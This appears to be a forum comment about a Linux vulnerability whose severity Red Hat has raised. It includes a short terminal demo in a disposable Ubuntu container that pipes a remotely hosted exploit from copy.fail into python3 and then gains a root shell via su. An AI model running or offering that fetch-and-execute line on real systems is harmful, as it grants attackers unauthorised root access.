Editing to add:

RHEL has now updated the severity and the fix is no longer "deferred" for all affected OSes.

Looks like it requires a local user account, with a password set, to exploit, yes?

cve-details

(access.redhat.com)

```
host $ docker run --rm -it ubuntu:noble
container # apt update && apt install curl python3
container # su ubuntu
container $ curl https://copy.fail/exp | python3 && su
container #
```

I'd say this is a welp of considerable magnitude